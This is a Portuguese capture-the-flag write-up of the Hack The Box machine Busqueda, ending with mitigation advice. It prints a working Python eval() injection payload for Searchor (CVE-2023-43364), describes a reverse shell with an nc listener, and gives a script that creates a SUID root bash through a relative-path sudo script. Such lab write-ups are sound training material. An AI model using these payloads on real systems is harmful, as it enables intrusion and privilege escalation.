Busqueda
Introdução
Busqueda é uma máquina Linux de dificuldade Easy da plataforma Hack The Box. O desafio gira em torno de uma aplicação web em Flask/Python chamada Searcher, que por baixo dos panos utiliza a ferramenta de linha de comando Searchor para gerar links de pesquisa. Essa ferramenta possui uma vulnerabilidade crítica de injeção de código via eval() (CVE-2023-43364), que permite obter execução remota de comandos. A partir do acesso inicial, o caminho até o root passa por reutilização de credenciais, um servidor Gitea interno e um script Python executado via sudo com uma referência relativa insegura.
IP alvo: 10.10.11.208
Escaneamento
O primeiro passo foi mapear os serviços expostos com nmap:
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.208 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.208
O resultado mostrou apenas duas portas abertas:
- 22/tcp — SSH (OpenSSH)
- 80/tcp — HTTP (Apache + Werkzeug/Python), com redirecionamento para o domínio
searcher.htb
Enumeração
Como a resposta HTTP redirecionava para um nome de domínio, o host searcher.htb foi adicionado ao /etc/hosts apontando para 10.10.11.208.
Navegando até http://searcher.htb, a aplicação se apresenta como um “buscador unificado” chamado Searcher: o usuário escolhe um mecanismo de busca (Google, GitHub, YouTube etc.) e um termo, e a página gera/retorna um link de pesquisa pronto, com opção de redirecionamento automático.
Alguns pontos relevantes identificados na enumeração:
- O cabeçalho
Serverda resposta HTTP (Werkzeug/Python) e a página de erro 404 padrão indicam que se trata de uma aplicação Flask. - O rodapé da página e o comportamento da geração de links deixam claro que a aplicação usa por trás dos panos o pacote/CLI Python Searchor, responsável por montar as URLs de busca para cada engine.
- Um brute-force de diretórios (
feroxbuster) contra o servidor não revelou nada além do próprio endpoint/search(que aceita apenasPOST, retornando405emGET) e do/server-statuspadrão do Apache. Com isso, o alvo estava claro: a aplicação Searcher, construída em cima da ferramenta Searchor.
Exploração
Aplicação e vulnerabilidade identificadas
- Aplicativo vulnerável: Searcher (aplicação Flask) que utiliza internamente o pacote Searchor.
- CVE: CVE-2023-43364 — “Searchor CLI’s Search vulnerable to Arbitrary Code using Eval”, afetando o Searchor em versões ≤ 2.4.1 (corrigida na 2.4.2).
- Causa raiz: no código-fonte do Searchor (
src/searchor/main.py), o comando de busca da CLI monta a URL de resultado usandoeval()sobre uma f-string construída diretamente com o input do usuário:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
Como o parâmetro query é concatenado sem nenhuma sanitização, é possível quebrar a string literal e injetar código Python arbitrário, que será executado pelo eval().
Prova de conceito local
Para validar a injeção com segurança antes de atacar o alvo, o Searchor 2.4.0 foi instalado localmente em um ambiente virtual Python (venv):
python -m venv venv
source venv/bin/activate
pip install searchor==2.4.0
Testando o comando search, uma aspa simples já quebra a sintaxe do eval, confirmando a injeção:
searchor search GitHub "0xdf'"
Após alguns ajustes de sintaxe, o seguinte payload fecha corretamente a string e concatena uma chamada Python arbitrária:
' + __import__('os').popen('id').read() + '
Isso faz o eval executar efetivamente:
Engine.GitHub.search('' + __import__('os').popen('id').read() + '', copy_url=False, open_web=False)
E o resultado do comando id é retornado (URL-encoded) dentro da própria URL de busca gerada.
Execução remota de comandos no alvo
Com o payload validado localmente, o próximo passo foi reproduzir a injeção contra a aplicação real:
- A requisição
POST /searchfoi capturada em um proxy de interceptação (Burp Suite) e enviada ao Repeater. - O parâmetro
queryfoi substituído pelo payload de injeção, URL-encodando apenas o conteúdo necessário para não quebrar o parsing da requisição. - O
idinicial confirmou execução de código no servidor. Em seguida, o payload foi trocado por uma reverse shell em Bash. - Com um listener
nc -lnvp 443aguardando, o envio da requisição retornou uma shell como o usuário svc. Depois de obter o shell, ele foi estabilizado com o truque clássico descript/stty, e a flag de usuário foi coletada em/home/svc/user.txt.
Pós-exploração
Enumeração como svc
No diretório home de svc, o arquivo .gitconfig revelou o nome real do usuário associado à conta de serviço:
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
O código-fonte da aplicação, em /var/www/app, é versionado com Git. O arquivo .git/config guardava credenciais em texto claro para um repositório remoto:
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
Isso revelou um novo vhost, gitea.searcher.htb, adicionado ao /etc/hosts, e credenciais válidas do usuário cody para uma instância Gitea interna.
Reutilização de credenciais e sudo
O comando sudo -l como svc pedia senha. Como svc corresponde ao usuário cody, a senha do Gitea de cody (jh1usoih2bkjaspwe92) foi reaproveitada com sucesso para autenticar o sudo:
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
O arquivo /opt/scripts/system-checkup.py tem permissão -rwx--x--x, ou seja, svc não consegue nem ler nem executar diretamente o script — só pode rodá-lo via sudo.
Descobrindo o conteúdo do script via Docker e MySQL
Executando o script via sudo com diferentes argumentos, ficou claro que ele aceita três ações: docker-ps, docker-inspect e full-checkup.
docker-pslistou dois containers em execução: gitea/gitea e mysql:8.docker-inspect '{{json .}}' giteaexpôs as variáveis de ambiente do container, incluindo a senha do banco de dados do Gitea:
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
- Usando
docker-inspectnovamente para descobrir o IP interno do containermysql_db, foi possível conectar diretamente ao MySQL com as credenciais do Gitea e consultar a tabelauserdo bancogitea, confirmando os usuáriosadministratorecody. A senha do banco (yuiu1hoiu4i5ho1uh) foi então testada como senha do usuário administrator no próprio Gitea — reutilização de credenciais que funcionou. Com acesso de administrador ao Gitea, um repositório privado chamado scripts revelou o código-fonte completo desystem-checkup.py.
Analisando o código-fonte de system-checkup.py
A leitura do código mostrou que as ações docker-ps e docker-inspect usam subprocess.run de forma segura (sem shell), mas a ação full-checkup faz o seguinte:
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
O script tenta executar ./full-checkup.sh a partir do diretório de trabalho atual, usando um caminho relativo em vez de um caminho absoluto. Isso é explorável: se um arquivo full-checkup.sh for criado em um diretório gravável por svc e o sudo for executado a partir desse mesmo diretório, o script malicioso será executado como root.
Escalando para root
cd /dev/shm
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/rootbash\nchmod 4777 /tmp/rootbash' > full-checkup.sh
chmod +x full-checkup.sh
sudo python3 /opt/scripts/system-checkup.py full-checkup
O script malicioso copia o /bin/bash para /tmp/rootbash e aplica o bit SUID, criando uma bash com privilégios de root:
/tmp/rootbash -p
Com o -p (para não descartar privilégios), o shell resultante já roda como root, permitindo ler a flag em /root/root.txt.
Anexos
Ferramentas e recursos utilizados ao longo do writeup:
nmap— varredura de portas e detecção de serviços/versõesferoxbuster— brute-force de diretórios/endpoints web- Burp Suite (Proxy + Repeater) — interceptação e manipulação da requisição
POST /searchpara exploração da injeção - Ambiente virtual Python (
venv) +pip install searchor==2.4.0— reprodução local da vulnerabilidade antes de atacar o alvo nc(netcat) — listener para receber a reverse shell- Gitea (interface web) — leitura do repositório privado com o código-fonte de
system-checkup.py - Cliente
mysql— consulta direta ao banco de dados do Gitea sudo python3 /opt/scripts/system-checkup.py— abuso da açãofull-checkuppara escalonamento de privilégios
Mitigação
- Atualizar o Searchor para a versão 2.4.2 ou superior, que remove o uso de
eval()na CLI e resolve a CVE-2023-43364. - Nunca usar
eval()/exec()sobre entrada de usuário. Para mapear um nome de engine para seu método de busca, usar uma estrutura de dados segura (dicionário/enum comgetattr), nunca interpolação de string seguida de avaliação dinâmica. - Não reutilizar senhas entre serviços e contas. Neste caso a mesma senha circulou entre o Gitea de cody, o
sudode svc e a senha do banco de dados do Gitea reaproveitada para a conta administrator — qualquer vazamento pontual comprometeu toda a cadeia. - Nunca versionar credenciais em
.git/configou em qualquer arquivo de configuração em texto claro. Usar variáveis de ambiente/gerenciadores de segredos e adicionar arquivos sensíveis ao.gitignore. - Evitar caminhos relativos em scripts privilegiados.
system-checkup.pydeveria referenciarfull-checkup.shpor caminho absoluto (e idealmente validar sua integridade/permissões) para não depender do diretório de trabalho de quem o invoca viasudo. - Restringir ao máximo as regras de sudoers. Evitar coringas (
*) que permitam passar argumentos arbitrários para um script; se possível, usarsudoapenas para binários específicos sem parâmetros livres. - Não expor segredos em
docker inspect/variáveis de ambiente de containers acessíveis a usuários de baixo privilégio; preferir mecanismos de secrets management do próprio orquestrador.